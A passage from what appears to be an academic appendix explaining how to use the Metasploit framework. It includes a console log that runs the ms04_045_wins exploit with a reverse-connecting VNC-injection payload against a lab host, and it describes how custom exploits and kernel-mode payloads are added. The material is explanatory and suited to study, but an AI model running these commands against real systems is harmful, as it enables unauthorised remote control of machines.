After starting the console interface with the command *msfconsole*, the interface will display the current version of Metasploit and some additional information and wait for user commands. By calling *show exploits* and *show payloads* all currently available exploits and payloads are displayed respectively.

To select an exploit, the user can issue the command *use exploitname* and show all necessary options with *show options*. These can then be set by issuing the *set* and *setg* commands⁶. After the exploit selection and the setting of all necessary options, a further call to *show payloads* will only display payloads that are compatible with the currently selected exploit.

Using the *set payload name* command, the payload for the attack can be selected and the attack can be launched with the *exploit* command. A full log of a typical attack can be seen next:

```

1  msf > use windows/wins/ms04_045_wins
2  msf exploit(ms04_045_wins) > set RHOST 10.0.5.15
3  RHOST => 10.0.5.15
4  msf exploit(ms04_045_wins) > set RPORT 42
5  RPORT => 42
6  msf exploit(ms04_045_wins) > set payload windows/vncinject/reverse_tcp
7  payload => windows/vncinject/reverse_tcp
8  msf exploit(ms04_045_wins) > set lhost 10.0.5.2
9  lhost => 10.0.5.2

```

⁶for more information on the local and global datastores refer to the user-documentation

```

10  msf exploit(ms04_045_wins) > show options
11
12  Module options:
13
14  Name      Current Setting  Required  Description
15  ----      -
16  RHOST     10.0.5.15       yes       The target address
17  RPORT     42              yes       The target port
18
19
20  Payload options:
21
22  Name      Current Setting  Required  Description
23  ----      -
24  AUTOVNC   true            yes       Automatically launch
25  VNC viewer if present
26  DLL       ../../vncdll.dll yes       The local path to the
27  VNC DLL to upload
28  EXITFUNC  process         yes       Exit technique: seh,
29  thread, process
30  LHOST     10.0.5.2        yes       The local address
31  LPORT     4444            yes       The local port
32  VNCHOST   127.0.0.1       yes       The local host to use for
33  the VNC proxy
34  VNCPORT   5900            yes       The local port to use for
35  the VNC proxy
36
37
38  Exploit target:
39
40  Id  Name
41  --  ---
42  0   Windows 2000 English
43
44
45  msf exploit(ms04_045_wins) > exploit

```

B.1.2 Kernel-mode exploits in Metasploit

Since the goal of our work ultimately is to exploit device drivers, the exploited code will obviously run in kernel-mode. This requires special payloads to be used. Although Metasploit was originally developed for user-space program exploitation, the recently released version 3.0 of the framework now supports kernel-mode payloads. In order to support the big variety of already available payloads within Metasploit, the framework developers have decided not to use specially crafted payloads for kernel-modes but rather introduce a kernel-wrapper around user-mode payloads. This kernel-wrapper first calls specific functions that set up an environment that allows the execution of user-mode payloads within the kernel.

At the time of this writing, these kernel-wrappers are only supported for Windows systems (XPSP2 and 2K3 SP1). If other systems are to be attacked, the predefined payloads will not work. The users are then forced to write their own payloads to be executed by Metasploit.

Metasploit is based on SVN to allow easy updates of available modules like exploits, payloads, NOP-sledge generators, etc. If one wants to add a custom exploit to the framework, all that has to be done is to add a new ruby-file to the *modules/exploits* sub-directory of the Metasploit root directory. The new exploit-file should contain a class-definition, subclassing one of the Metasploit exploits (e.g. *Msf::Exploit::Remote*) and provide definitions for the methods *check* and *exploit*. The easiest way to insert a new exploit successfully is by copying an existing exploit and modifying the required parts appropriately.

Similar to adding a custom exploit, a new payload can be inserted by adding a ruby-definition into the *modules/pay-*

loads sub-directory. All that must be made sure is to make a call to *register_options* from within the *initialize* method.

Again, modifying an existing payload simplifies the creation a lot.

B.2 Other Frameworks

Very similar to the Metasploit project, SecurityForest's project also contains an exploitation framework. The project's interfaces and possibilities are very comparable to Metasploit, with the small difference that exploits and payloads need not be rewritten in ruby to be usable by the exploitation framework.

Despite this advantage, the SecurityForest's framework is not as popular as the Metasploit project in security expert groups.

Other non-free exploit frameworks, such as the Core Impact framework [6] or Immunity's CANVAS[4], also offer very professional tools for automated penetration tests to aid a user in finding security vulnerabilities in a network, allegedly without the need of security experts.